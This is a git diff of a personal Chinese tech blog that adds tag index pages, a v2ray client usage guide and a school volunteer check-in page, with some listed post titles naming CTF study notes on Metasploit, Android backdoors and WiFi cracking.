CTF学习笔记(大学篇)03 —— CobaltStrike 详解
\ No newline at end of file diff --git a/tags/WIFI/index.html b/tags/WIFI/index.html new file mode 100644 index 0000000000..47f0bd887f --- /dev/null +++ b/tags/WIFI/index.html @@ -0,0 +1,279 @@ +Tag: WIFI | GamerNoTitle + + + + + + + + + + +
CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI
\ No newline at end of file diff --git a/tags/Warframe/index.html b/tags/Warframe/index.html new file mode 100644 index 0000000000..a463e95026 --- /dev/null +++ b/tags/Warframe/index.html @@ -0,0 +1,271 @@ +Tag: Warframe | GamerNoTitle + + + + + + + + + + +
日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作
\ No newline at end of file diff --git a/tags/Web/index.html b/tags/Web/index.html new file mode 100644 index 0000000000..abd5df3628 --- /dev/null +++ b/tags/Web/index.html @@ -0,0 +1,283 @@ +Tag: Web | GamerNoTitle + + + + + + + + + + +
2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp
\ No newline at end of file diff --git a/tags/Webmaster/index.html b/tags/Webmaster/index.html new file mode 100644 index 0000000000..cfbb52125a --- /dev/null +++ b/tags/Webmaster/index.html @@ -0,0 +1,285 @@ +Tag: Webmaster | GamerNoTitle + + + + + + + + + + +
网站优化:网站目录缩短及重定向
\ No newline at end of file diff --git a/tags/Windows/index.html b/tags/Windows/index.html new file mode 100644 index 0000000000..d47846960d --- /dev/null +++ b/tags/Windows/index.html @@ -0,0 +1,274 @@ +Tag: Windows | GamerNoTitle + + + + + + + + + + +
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
\ No newline at end of file diff --git a/tags/adb/index.html b/tags/adb/index.html new file mode 100644 index 0000000000..466c211b12 --- /dev/null +++ b/tags/adb/index.html @@ -0,0 +1,279 @@ +Tag: adb | GamerNoTitle + + + + + + + + + + +
Ticwatch Pro 3 使用体验报告
\ No newline at end of file diff --git a/tags/aircrack/index.html b/tags/aircrack/index.html new file mode 100644 index 0000000000..9a137be804 --- /dev/null +++ b/tags/aircrack/index.html @@ -0,0 +1,279 @@ +Tag: aircrack | GamerNoTitle + + + + + + + + + + +
CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI
\ No newline at end of file diff --git a/tags/apk/index.html b/tags/apk/index.html new file mode 100644 index 0000000000..4c7fa02f71 --- /dev/null +++ b/tags/apk/index.html @@ -0,0 +1,287 @@ +Tag: apk | GamerNoTitle + + + + + + + + + + +
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
\ No newline at end of file diff --git a/tags/biliRoaming/index.html b/tags/biliRoaming/index.html new file mode 100644 index 0000000000..f35c6f265b --- /dev/null +++ b/tags/biliRoaming/index.html @@ -0,0 +1,339 @@ +Tag: biliRoaming | GamerNoTitle + + + + + + + + + + +
使用Vercel平台部署哔哩漫游服务器(HK、SEA)
使用Fly.io平台部署哔哩漫游服务器
收看B站港澳台地区番剧的正确方式 - 哔哩漫游biliRoaming
\ No newline at end of file diff --git a/tags/datatype/index.html b/tags/datatype/index.html new file mode 100644 index 0000000000..3b5dae69fd --- /dev/null +++ b/tags/datatype/index.html @@ -0,0 +1,317 @@ +Tag: datatype | GamerNoTitle + + + + + + + + + + +
从零开始的Python ACM Ch.1:数据类型及基本数据处理
\ No newline at end of file diff --git a/tags/decompile/index.html b/tags/decompile/index.html new file mode 100644 index 0000000000..cdc197ccd8 --- /dev/null +++ b/tags/decompile/index.html @@ -0,0 +1,272 @@ +Tag: decompile | GamerNoTitle + + + + + + + + + + +
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
\ No newline at end of file diff --git a/tags/diary/index.html b/tags/diary/index.html new file mode 100644 index 0000000000..a7f2b59440 --- /dev/null +++ b/tags/diary/index.html @@ -0,0 +1,352 @@ +Tag: diary | GamerNoTitle + + + + + + + + + + +
日常吐槽10:我的域名被停止解析了 —— 一段时间
日常吐槽10:为什么我叫做"GamerNoTitle"?
“陪伴是最长情的告白”
日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事
日常吐槽08 - 换用Blackberry9720三个月后的感受
日常吐槽07 - 记录一次成功的举报经历
日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年
日常吐槽04
日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作
日常吐槽02
\ No newline at end of file diff --git a/tags/diary/page/2/index.html b/tags/diary/page/2/index.html new file mode 100644 index 0000000000..bbaa9ef70e --- /dev/null +++ b/tags/diary/page/2/index.html @@ -0,0 +1,269 @@ +Tag: diary | GamerNoTitle + + + + + + + + + + +
日常吐槽01
\ No newline at end of file diff --git a/tags/emoji/index.html b/tags/emoji/index.html new file mode 100644 index 0000000000..abde051ff3 --- /dev/null +++ b/tags/emoji/index.html @@ -0,0 +1,293 @@ +Tag: emoji | GamerNoTitle + + + + + + + + + + +
Valine-Magic - Valine表情仓库
\ No newline at end of file diff --git a/tags/experience/index.html b/tags/experience/index.html new file mode 100644 index 0000000000..41113388c0 --- /dev/null +++ b/tags/experience/index.html @@ -0,0 +1,266 @@ +Tag: experience | GamerNoTitle + + + + + + + + + + +
与新冠肺炎搏斗的那些日子
\ No newline at end of file diff --git a/tags/flyio/index.html b/tags/flyio/index.html new file mode 100644 index 0000000000..cf8bf0164c --- /dev/null +++ b/tags/flyio/index.html @@ -0,0 +1,328 @@ +Tag: flyio | GamerNoTitle + + + + + + + + + + +
使用Vercel平台部署哔哩漫游服务器(HK、SEA)
使用Fly.io平台部署哔哩漫游服务器
\ No newline at end of file diff --git a/tags/hardlink/index.html b/tags/hardlink/index.html new file mode 100644 index 0000000000..8fb105ed9c --- /dev/null +++ b/tags/hardlink/index.html @@ -0,0 +1,269 @@ +Tag: hardlink | GamerNoTitle + + + + + + + + + + +
移动你的WSA数据盘,让你的C盘不再爆满
\ No newline at end of file diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 0000000000..4772ff0c84 --- /dev/null +++ b/tags/index.html @@ -0,0 +1,311 @@ +标签 | GamerNoTitle + + + + + + + + + + +
\ No newline at end of file diff --git a/tags/jsdelivr/index.html b/tags/jsdelivr/index.html new file mode 100644 index 0000000000..c93a319480 --- /dev/null +++ b/tags/jsdelivr/index.html @@ -0,0 +1,297 @@ +Tag: jsdelivr | GamerNoTitle + + + + + + + + + + +
将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用
jsDelivr的正确打开方式
\ No newline at end of file diff --git a/tags/linux-surface/index.html b/tags/linux-surface/index.html new file mode 100644 index 0000000000..54351a8510 --- /dev/null +++ b/tags/linux-surface/index.html @@ -0,0 +1,274 @@ +Tag: linux-surface | GamerNoTitle + + + + + + + + + + +
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
\ No newline at end of file diff --git a/tags/live/index.html b/tags/live/index.html new file mode 100644 index 0000000000..a0b53ad6a8 --- /dev/null +++ b/tags/live/index.html @@ -0,0 +1,282 @@ +Tag: live | GamerNoTitle + + + + + + + + + + +
手把手教你怎么搭建属于自己的直播服务器~
\ No newline at end of file diff --git a/tags/mail/index.html b/tags/mail/index.html new file mode 100644 index 0000000000..11582c4896 --- /dev/null +++ b/tags/mail/index.html @@ -0,0 +1,269 @@ +Tag: mail | GamerNoTitle + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
\ No newline at end of file diff --git a/tags/meme/index.html b/tags/meme/index.html new file mode 100644 index 0000000000..11d99af923 --- /dev/null +++ b/tags/meme/index.html @@ -0,0 +1,293 @@ +Tag: meme | GamerNoTitle + + + + + + + + + + +
Valine-Magic - Valine表情仓库
\ No newline at end of file diff --git a/tags/message/index.html b/tags/message/index.html new file mode 100644 index 0000000000..9f496877ac --- /dev/null +++ b/tags/message/index.html @@ -0,0 +1,269 @@ +Tag: message | GamerNoTitle + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
\ No newline at end of file diff --git a/tags/msfconsole/index.html b/tags/msfconsole/index.html new file mode 100644 index 0000000000..92656875d4 --- /dev/null +++ b/tags/msfconsole/index.html @@ -0,0 +1,280 @@ +Tag: msfconsole | GamerNoTitle + + + + + + + + + + +
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
\ No newline at end of file diff --git a/tags/msfvenom/index.html b/tags/msfvenom/index.html new file mode 100644 index 0000000000..df0b1cf052 --- /dev/null +++ b/tags/msfvenom/index.html @@ -0,0 +1,271 @@ +Tag: msfvenom | GamerNoTitle + + + + + + + + + + +
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
\ No newline at end of file diff --git a/tags/railway/index.html b/tags/railway/index.html new file mode 100644 index 0000000000..543f1efd11 --- /dev/null +++ b/tags/railway/index.html @@ -0,0 +1,269 @@ +Tag: railway | GamerNoTitle + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
\ No newline at end of file diff --git a/tags/raspberry/index.html b/tags/raspberry/index.html new file mode 100644 index 0000000000..963481aa8d --- /dev/null +++ b/tags/raspberry/index.html @@ -0,0 +1,270 @@ +Tag: raspberry | GamerNoTitle + + + + + + + + + + +
CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容
\ No newline at end of file diff --git a/tags/reverse/index.html b/tags/reverse/index.html new file mode 100644 index 0000000000..6b2afe8390 --- /dev/null +++ b/tags/reverse/index.html @@ -0,0 +1,272 @@ +Tag: reverse | GamerNoTitle + + + + + + + + + + +
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
\ No newline at end of file diff --git a/tags/school/index.html b/tags/school/index.html new file mode 100644 index 0000000000..318a0326cd --- /dev/null +++ b/tags/school/index.html @@ -0,0 +1,279 @@ +Tag: school | GamerNoTitle + + + + + + + + + + +
日常吐槽08 - 换用Blackberry9720三个月后的感受
\ No newline at end of file diff --git a/tags/stream/index.html b/tags/stream/index.html new file mode 100644 index 0000000000..44dbd4d0ec --- /dev/null +++ b/tags/stream/index.html @@ -0,0 +1,282 @@ +Tag: stream | GamerNoTitle + + + + + + + + + + +
手把手教你怎么搭建属于自己的直播服务器~
\ No newline at end of file diff --git a/tags/wechat/index.html b/tags/wechat/index.html new file mode 100644 index 0000000000..bf654b053b --- /dev/null +++ b/tags/wechat/index.html @@ -0,0 +1,269 @@ +Tag: wechat | GamerNoTitle + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
\ No newline at end of file diff --git "a/tags/\346\233\264\346\226\260Python/index.html" "b/tags/\346\233\264\346\226\260Python/index.html" new file mode 100644 index 0000000000..02b1ecdb82 --- /dev/null +++ "b/tags/\346\233\264\346\226\260Python/index.html" @@ -0,0 +1,273 @@ +Tag: 更新Python | GamerNoTitle + + + + + + + + + + +
记一次更新服务器Python的过程
\ No newline at end of file diff --git "a/tags/\346\234\215\345\212\241\345\231\250\350\277\220\347\273\264/index.html" "b/tags/\346\234\215\345\212\241\345\231\250\350\277\220\347\273\264/index.html" new file mode 100644 index 0000000000..f351418caa --- /dev/null +++ "b/tags/\346\234\215\345\212\241\345\231\250\350\277\220\347\273\264/index.html" @@ -0,0 +1,273 @@ +Tag: 服务器运维 | GamerNoTitle + + + + + + + + + + +
记一次更新服务器Python的过程
\ No newline at end of file diff --git "a/tags/\347\274\226\350\257\221/index.html" "b/tags/\347\274\226\350\257\221/index.html" new file mode 100644 index 0000000000..ed7a464018 --- /dev/null +++ "b/tags/\347\274\226\350\257\221/index.html" @@ -0,0 +1,273 @@ +Tag: 编译 | GamerNoTitle + + + + + + + + + + +
记一次更新服务器Python的过程
\ No newline at end of file diff --git a/tencent4061228047974157763.txt b/tencent4061228047974157763.txt new file mode 100644 index 0000000000..1218501197 --- /dev/null +++ b/tencent4061228047974157763.txt @@ -0,0 +1 @@ +12191635539963003782 \ No newline at end of file diff --git a/unlock-music/index.html b/unlock-music/index.html new file mode 100644 index 0000000000..d041d8d660 --- /dev/null +++ b/unlock-music/index.html @@ -0,0 +1,315 @@ +GamerNoTitle | GamerNoTitle + + + + + + + + + + +
\ No newline at end of file diff --git a/v2ray-Usage/index.md.bak b/v2ray-Usage/index.md.bak new file mode 100644 index 0000000000..001278acac --- /dev/null +++ b/v2ray-Usage/index.md.bak @@ -0,0 +1,82 @@ +--- +title: v2ray 食用指南 +date: 2020-02-29 18:03:15 +--- + +其实这个页面我早就写完了,但是因为写完了以后我电脑崩溃了,重启以后原来保存的数据就乱码了,所以只能重新来一次:( + +--- + +### 前言 + +鉴于ShadowSocksR的抗封性较差,很多人可能会选用v2ray,本页面就来说一说v2ray如何使用。看本页面之前请确保你已经拥有``vmess://``链接和能够使用v2ray的软件,如果你没有软件,那么你可以拉到软件下载部分进行下载! + +### 开始 + +关于v2ray,会有专门的链接协议,写作``vmess://``,后面会跟SSR一样有一大串的字符。举个栗子: + +``` +vmess://ew0KICAidiI6ICIyIiwNCiXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXWFwcC5jb20iLA0KICAicG9ydCI6ICI4MCIsDQogICJpZCI6ICJhYWI3ZWI3YS0wYTE3LTQ5YTAtOTI0OC1iZTM4ZmUyMzdiNTciLA0KICAiYWlkIjOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOAiaG9zdCI6ICIiLA0KICAicGF0aCI6ICIvIiwNCiAgInRscyI6ICIiDQp9 +``` + +这样的一条链接就是可以用于v2ray的链接(本链接中部分字符已经替换成``X``和``O``),如何使用链接呢? + +在这里我们以Windows的v2rayN和Android的v2rayNG做例子,iOS和OSX的用法跟这两差不多。 + +#### Windows: v2rayN + +首先我们打开``v2rayN.exe``,会弹出它的主窗口(如果没有弹出请在任务栏里面寻找) + +![v2rayN主界面](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayN.png) + +点击左上角的服务器,然后选择``从剪贴板导入批量URL``即可,这样你的服务器就会进入服务器列表。 + +然后右击任务栏中的图标,选择``Http代理``,然后再选择``开启Http代理,并自动配置代理服务器(全局模式)``,然后打开你的浏览器,试试是不是可以上谷歌啦! + +![v2rayN全局代理](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayN-Socks-ON.png) + +**注意:如果你的Chrome等浏览器使用了代理型的扩展插件,那么在使用之前请先禁用!** + + + +#### Android: v2rayNG + +![v2rayNG界面](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayNG.png) + +打开手机上的``v2rayNG``,然后点击``+``号,然后选择从剪贴板导入(需提前把链接复制到剪贴板) + +![v2rayNG从剪贴板导入](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayNG-import.png) + +导入完成后,会有Toast提示``成功``,你会在你的界面中看到你的服务器,点击你需要使用的服务器(此时左边会变成**绿色**),点击下面的``V``标小圆圈按钮即可 + +![v2rayNG开启按钮](https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@v2ray-Usage/img/v2ray-Usage/v2rayNG-button.png) + +等到启动完成后,按钮也同样会变成**绿色** + + + +--- + +### 软件下载 + +**注:因CDN提供商的限制,在这里Github的文件不提供CDN下载链接** + +``v2rayN(Windows)`` [Github](https://github.com/2dust/v2rayN/releases) + +``v2rayX(Mac)`` [Github](https://github.com/Cenmrev/V2RayX/releases) + +``v2rayNG(Android)`` [Github](https://github.com/2dust/v2rayNG/releases) | [Google Play Store](https://play.google.com/store/apps/details?id=com.v2ray.ang) + +``Kitsunebi(Android)`` [Github](https://github.com/eycorsican/kitsunebi-android/releases) | [Google Play Store](https://play.google.com/store/apps/details?id=fun.kitsunebi.kitsunebi4android) + +``BifrostV(Android)`` [Google Play Store](https://play.google.com/store/apps/details?id=com.github.dawndiy.bifrostv) + +``Kitsunebi(iOS)`` [iTunes](https://itunes.apple.com/us/app/kitsunebi-proxy-utility/id1446584073?mt=8) + +``i2Ray(iOS)`` [iTunes](https://itunes.apple.com/us/app/i2ray/id1445270056?mt=8) + +``Shadowrocket(iOS)`` [iTunes](https://itunes.apple.com/us/app/shadowrocket/id932747118?mt=8) | [安装站](http://shadowrocket.bili33.top/) + +``Pepi(iOS)`` [iTunes](https://itunes.apple.com/us/app/pepi/id1283082051?mt=8) + +``Quantumult(iOS)`` [iTunes](https://itunes.apple.com/us/app/quantumult/id1252015438?mt=8) \ No newline at end of file diff --git a/volunteer/index.md.bak b/volunteer/index.md.bak new file mode 100644 index 0000000000..eec6d8de2e --- /dev/null +++ b/volunteer/index.md.bak @@ -0,0 +1,67 @@ +--- +title: 广州市玉岩中学 i志愿活动签到二维码 +date: 2019-08-20 10:45:56 +--- + +# 注意事项: + +## 1、请先报名对应的活动! + +## 2、请先通过面验(未通过联系管理员) + +## 3、记得签退!!!否则不计志愿时!!! + +#### 2020.1.18~2020.2.14 广州市玉岩中学赴广州市黄埔区香雪地铁站志愿活动 +##### 报名链接:https://www.gdzyz.cn/mission/detail.do?missionId=3244411 + +** 仅接受2020年1月15日前校团委招募计划报名成功的在校学生! ** + +##### 签到 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20200117164201_376.jpg) + +##### 签退 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20200117164201_34.jpg) + +#### 2020.1.18~2020.2.14 广州市玉岩中学赴黄埔区图书馆(香雪馆)志愿者活动 +##### 报名链接:https://www.gdzyz.cn/mission/detail.do?missionId=3244453 + +** 仅接受2020年1月15日前校团委招募计划报名成功的在校学生! ** + +##### 签到 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20200117164702_832.jpg) + +##### 签退 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20200117164702_622.jpg) + +#### 2019.12.26 2019年元旦文艺展演签到签退二维码 +##### 报名链接:https://www.gdzyz.cn/mission/detail.do?missionId=3189045 +##### 签到 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20191223223022_817.jpg) + +##### 签退 +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20191223223022_931.jpg) + +#### 2019.11.20~2019.11.22 第十四届校运会签到签退二维码 + +##### 报名链接: https://www.gdzyz.cn/mission/detail.do?missionId=3089302 + +##### 签到 + +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20191120132659_549.jpg) + +##### 签退 + +![](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20191120132659_955.jpg) + +#### 2019.8.20~2019.8.26 军训签到、签退二维码 + +##### 报名链接:[https://www.gdzyz.cn/mission/detail.do?missionId=2895603](https://www.gdzyz.cn/mission/detail.do?missionId=2895603) + +##### 签到 + +![签到二维码](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20190820101800_934.jpg) + +##### 签退 + +![签退二维码](https://gdftp.oss-cn-shenzhen.aliyuncs.com/upload/Qr_code/20190820101800_924.jpg) +